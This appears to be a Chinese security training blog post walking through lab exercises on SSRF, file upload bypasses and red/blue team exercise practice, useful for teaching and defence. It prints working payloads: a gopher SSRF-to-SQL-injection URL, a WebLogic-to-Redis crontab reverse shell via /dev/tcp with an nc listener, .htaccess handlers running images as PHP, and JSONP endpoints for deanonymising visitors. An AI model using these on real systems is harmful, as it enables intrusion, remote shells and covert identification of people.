SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) 很多web应用都提供了从其他的服务器上获取数据的功能。使用指定的URL,web应用便可以获取图片,下载文件,读取文件内容等。SSRF的实质是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
image

SSRF漏洞原理

function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);
这段代码是使用curl获取数据
$url = $_GET['url'];
echo file_get_contents($url);
这段代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
function GetFile($host,$port,$link)
{
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp)
    {
        echo "$errstr (error number $errno) \n";
    }
    else
    {
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $contents='';
        while (!feof($fp))
        {
            $contents.= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。
这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
 $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp)
    {
        echo "$errstr (error number $errno) \n";
    }
    else
    {
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $contents='';
        while (!feof($fp))
        {
            $contents.= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }

SSRF检测
SSRF是经由服务端发起的请求,dns记录的IP应该是或接近于服务端IP
image
直接请求内网资源
image

SSRF打SQL注入
_GET%20/sqli/Less-1/%3Fid%3D1%2527and%25201%3D2%2520union%2520select%25201%2Cgroup_concat%28schema_name%29%2C3%2520from%2520information_schema.schemata%2523%20HTTP/1.1%0D%0AHost%3A%20192.168.220.252%0D%0A
image
将生成好的gopher协议payload进行URL编码
http://192.168.220.252/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://127.0.0.1:80/_GET%2520/sqli/Less-1/%253Fid%253D1%252527and%2525201%253D2%252520union%252520select%2525201%252Cgroup_concat%2528schema_name%2529%252C3%252520from%252520information_schema.schemata%252523%2520HTTP/1.1%250D%250AHost%253A%2520192.168.220.252%250D%250A

由于Gopher协议的特殊格式,在SSRF利用Gopher攻击目标时,需要对数据包进行两次URL编码。
第一次URL将URL中的特殊字符进行转义,以便于传输和解析。
第二次编码是为了让Gopher协议能够正常解析,因为Gopher协议使用的ASCII编码。需要将URL中的所有字符都转换为ASCII码的可打印字符,才能被Gopher协议正确解析。

发包
http://192.168.220.252/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://127.0.0.1:80/_GET%2520/sqli/Less-1/%253Fid%253D1%252527and%2525201%253D2%252520union%252520select%2525201%252Cgroup_concat%2528schema_name%2529%252C3%252520from%252520information_schema.schemata%252523%2520HTTP/1.1%250D%250AHost%253A%2520192.168.220.252%250D%250A
image

SSRF-攻击weblogic
环境使用:/vulhub/weblogic/ssrf
安装并启用完成后访问
http://192.168.8.146:7001/uddiexplorer/SearchPublicRegistries.jsp
image
利用一:端口探测
端口开放时的回显信息:
http://192.168.8.146:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
image
利用二:攻击redis服务器

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0d%0a来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

注入HTTP头,利用Redis反弹shell

  1. 查看redis的ip地址
    docker ps
    docker exec -it a121dfbbcd66 ip addr
    172.18.0.2是docker redis的内网地址
    image
  2. 准备攻击代码
    test
    set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.8.1/13333 0>&1\n\n\n\n"
    config set dir /etc/
    config set dbfilename crontab
    save
    Aaa
    将上述攻击代码转换成URL编码:
    test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%20%20%20%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.1%2F13333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0AAaa
  3. 实施攻击
    在攻击者这一端监听端口:nc -lvvp 13333
    image
    浏览器访问:
    http://192.168.8.146:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test set 1 "\n\n\n\n%20%20%20%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.1%2F13333%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0AAaa
  4. 反弹shell成功
    image

2.4 文件上传方法与实操

文件上传漏洞概要
WEB应用程序通常会有文件上传的功能,例如:在BBS发布图片、在个人网站发布ZIP压缩包、在招聘网站上发布DOC格式简历等。只要WEB应用程序允许上传文件,就有可能存在文件上传漏洞。在不对被上传的文件进行限制或者限制被绕过,该功能便有可能被利用于上传可执行文件、脚本到服务器上,从而进一步导致服务器沦陷。
如何确认WEB应用程序是否存在上传漏洞呢?比如:一个BBS论坛,由PHP语言开发,用户可以上传个性头像,也就是图片文件,但文件上传时候并没有对图片格式做验证,导致用户可以上传任意文件,那么这就是一个上传漏洞,总之就是上传的文件被成功当做脚本解析,就代表有文件上传漏洞。

WEB服务器概念
服务器、容器和中间件

  • Web服务器只是提供静态网页解析(如apache)或提供跳转的服务。
  • Web容器用于给处于其中的应用程序组件(JSP,SERVLET)提供一个环境,是中间件的一个组成部分,它实现了对动态语言的解析(比如tomcat可以解析jsp,是因为其内部有一个jsp容器)。
  • Web中间件叫做“应用服务器”(其包含web容器)可以解析动态语言,比如tomcat可以解析jsp是因为tomcat含有jsp容器,当然它也可以解析静态资源,因此tomcat既是Web中间件也是Web服务器。
    image

如何找上传点

  1. Web前台
    暴露的编辑器URL
    图片/头像上传
    已知CMS漏洞
  2. Web后台
    集成的编辑器
    文章发布
    文件管理器
    其它上传功能
  3. Web中间件/服务器
    “PUT”上传漏洞
    Tomcat后台弱口令部署WAR包
    Weblogic文件上传漏洞(如CVE-2018-2894)
  4. 工具
    基于字典的扫描器
    爬虫

上传点相关函数

  • ASP(X)
    FSO对象GetFile方法、MoveFile方法、CopyFile方法、DeleteFile方法。用于移动或拷贝文件
    没有太多用于校验的内置API
  • PHP
    move_uploaded_file()方法,从临时路径拷贝文件
    imagecopy()方法,用于拷贝图像或图像的一部分
    imagecopyresized()方法,用于拷贝部分图像并调整大小
    imagecopyresampled()方法,同“imagecopyresized”,更精细
  • JSP
    File类中的renameto()方法,用于给文件重命名
  • File类中的getRe
    基于字典的扫描器
    爬虫

上传点常见校验方式

  • 前端JavaScript校验
    文件名及后缀
  • 后端校验
    文件头content-type字段
    文件内容头校验
    后缀名校验(黑名单)
    后缀名校验(白名单)
    自定义正则校验
    检测文件名及后缀
    检测文件内容是否包含恶意代码
  • 防护设备校验(WAF)
    检测文件名及后缀
    检测文件内容

文件上传漏洞漏洞成因
导致文件上传的漏洞的原因较多,主要包括以下几类:

  1. 服务器配置不当;
    当服务器配置不当时,在不需要上传页面的情况下便可导致任意文件上传,参考HTTP请求方法(PUT)。
  2. 开源编辑器上传漏洞;
    很多开源的编辑器历史上都有不同的上传漏洞,参考课件中的编辑器漏洞整理文档。
  3. 本地文件上传限制被绕过;
    只在客户端浏览器上做了文件限制而没有在远程的服务器上做限制,只需要修改数据包就可以轻松绕过限制。
  4. 过滤不严或被绕过;
    有些网站上使用了黑名单过滤掉了一些关键的可执行文件脚本后缀等,但黑名单不全或者被绕过,导致可执行脚本文件被上传到服务器上,执行。
    如在服务器后端过滤掉了后缀为.php的文件,但并没有过滤掉.php3等其他可执行文件脚本后缀,攻击者就可以上传带有其他的可执行文件脚本后缀的恶意文件到服务器上。
  5. 文件解析漏洞导致文件执行;
    当服务器上存在文件解析漏洞时,合法的文件名便可导致带有恶意代码的文件被执行。
  6. 文件路径截断
    在上传的文件中使用一些特殊的符号,使得文件被上传到服务器中时路径被截断从而控制文件路径。
    常用的进行文件路径截断的字符如下:\0 %00
    在可以控制文件路径的情况下,使用超长的文件路径也有可能会导致文件路径截断。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

常规上传

  1. js检测
    这类检测通常在上传页面里含有专门检测文件上传的javascript代码,最常见的就是检测扩展名是否合法
    image
    修改请求包的文件后缀名,然后放通
    image
  2. webshell连接
    市面上有很多webshell管理工具,上传shell后,可以输入url和密码,即可连接。
    image
  3. MIME类型检测
    MIME类型检测属于白名单检测的一种,在服务器端完成,它会对上传文件请求包中Content-Type的内容进行校验,判断是否属于白名单,如果不属于则不允许上传。
    image
    在请求包中,需存在Content-Type: image/jpeg
    image
  4. httpd.conf配置
    如果php无法上传,可以尝试php3、php5、phtml
    因为httpd.conf文件里可能存在配置为AddType application/x-httpd-php .php .phtml .php5 .php3
    image
    1.phpstudy的默认配置无法实现这个靶场效果,需要下载php的ts版本
    如:https://windows.php.net/downloads/releases/archives/php-5.5.9-Win32-VC11-x64.zip
    2.放在phpstudy的php目录下
    3.复制php.ini-development为php.ini,添加以下内容
    4.在Apache的httpd.conf中添加以下配置
    image
  5. .htaccess
    htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
    上传.htaccess文件至服务器上传目录,此时apache在解析该目录下的php时将按照文件要求。只要文件名匹配到所定义的字符串,就会将该文件当作php解析
    <FilesMatch "*.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>
    ps:.htaccess生效的前提
    1、AllowOverride All
    2、LoadModule rewrite_module modules/mod_rewrite.so #rewrite模块为开启状态,一般都是默认开启
    phpstudy的.htaccess配置如下(同样,需要ts版本的php)
    <FilesMatch "shell.jpg">
    AddHandler fcgid-script .jpg
    FcgidWrapper "C:/phpstudy_pro/Extensions/php/php_5.5.9_ts/php-cgi.exe" .jpg
    </FilesMatch>
    image
  6. XSS
    如果没法上传php/jsp等后缀,也可以试试html/htm,XSS漏洞也是漏洞
    image

3. 护网攻防

3.1 HW防守方蓝队工作流程及溯源技巧和案例

HW演变
2023年
防守方:各大部委、金融、能源、央企、运营商、交通等30多个重点行业,230+单位
攻击方:150+
形式:15天实战攻防+沙盘推演+专项演练(APT攻击)
2024年
参演的防守方和攻击方数量没有太大变化
演习时长由15天改为常态化演习,主要攻击时段为期2个月,无通知、不定时攻击。

防守方加减分规则

  • 加分项(通过提交的报告进行评判)
    监测发现:入侵发现及时、事件上报及时、事件上报完整性
    分析研判(攻击发现大于10小时得一半分):事件详情、攻击痕迹提取、攻击链分析、样本分析
    应急处置:阻断攻击、整改加固、系统恢复
    附加分:总结报告、防守技战法报告
  • 减分项(根据被攻击情况进行评判)
    1、非正常防守(被攻击队举报):封C段、网站不可用、网站首页被替换为图片等
    2、违反演习防守方相关纪律要求
    3、系统或网络被控制
    (1)权限被控控制:服务器、终端、邮箱、设备、系统等
    (2)网络边界被突破:内网、生产网被突破
    (3)靶标被控
    (4)敏感数据被获取:公民信息、业务生产数据、企业管理数据等

防守安全问题概览

  1. 暴露面大
    互联网资产多,业务、代码、人员信息泄露等问题导致攻击者攻击面大
  2. 漏洞泛滥
    终端、服务器、应用存在大量漏洞,且缺乏漏洞监测预警机制
  3. 监测能力不足
    内网横向流量缺、加密流量、0day流量无法有效识别和监测
  4. 弱密码泛滥
    内网系统和终端存在大量弱密码,且缺乏多种因子认证
  5. 安全意识薄弱
    员工网络安全意识薄弱,攻击者通过社工钓鱼轻松获取内网权限
  6. 网络隔离不足
    网络边界缺乏有效隔离手段,如互联网、办公网、生产网等,黑客进入后可以肆意漫游
  7. 供应链安全缺失
    缺乏供应链安全管理,导致企业敏感信息大量泄露

溯源需求场景
1、HW、重保应急场景,通常为中大型客户,有加分需求的
2、协助监管机构(网信办、网安等)应急场景,要对攻击者身份进行溯源确认
3、日常安全运营的应急场景
溯源主要是结合产品加人工,产品主要是使用蜜罐,目前业界蜜罐做的比较好的安全厂商有默安、长亭

蜜罐溯源技术原理
Jsonp
原理:其原理主要是利用互联网开放的jsonp接口,通过jsonp接口来进行相关数据的查询与返回。如果要想进行相关数据的查询,至少需要满足以下条件:

  • 登陆过相关网站(微博、百度文库等),且未退出
  • 相关网站存在jsonp接口可以调用

如何实现
在网站中植入JS,利用<script>标签可以跨域加载资源的特性,来实现数据的发送与接
image

  1. 获取ip地址
    http://pv.sohu.com/cityjson?ie=utf-8
  2. 获取163邮箱(返回的username为163账号的base64编码) http://comment.api.163.com/api/v1/products/a2869674571f77b5a0867c3d71db5856/users/0/dailyAchv?ibc=newspc&from=all&callback=?
  3. 获取163邮箱详细信息 http://comment.api.163.com/api/v1/products/a2869674571f77b5a0867c3d71db5856/users/myInfo?ibc=newspc&callback=jsonp_1576488793844&_=1576488793845
  4. 获取百度贴吧信息
    http://music.taihe.com/v1/restserver/ting?from=web&format=json&param=LSybM0sdw2aqEfumhdonnx8fVeIHBQtuiPCKUtmcDzyQAMZmL9gayz8xP%2FHmDp%2BH&timestamp=1574934266&sign=6d4fb00655a40b21407243b6be7274a4&method=baidu.ting.ugccenter.getUserBaseInfo&callback=?
  5. 获取新浪微博信息
    https://login.sina.com.cn/sso/prelogin.php?entry=weibo&su=&rsakt=mod&client=ssologin.js(v1.4.19)&_=1552901735056&callback=?

溯源技巧与案例
图片1
查看他的发言,通过发言内容找到其qq邮箱、自拍、照片等信息历史发帖记录查询:https://82cat.com/

3.2 HW防守-护网攻击方红队常见攻击思路

护网攻击方红队常见攻击流程

  1. 信息收集
    图片1
  2. 外部打点获取边界权限
  3. 提权
    image
  4. 权限维持
    图片3
  5. 通道建立
    image
  6. 内网横向
    image

护网攻击方红队常见攻击思路
image

posted @ 2025-08-25 19:17  双城孙宇  阅读(109)  评论(0)    收藏  举报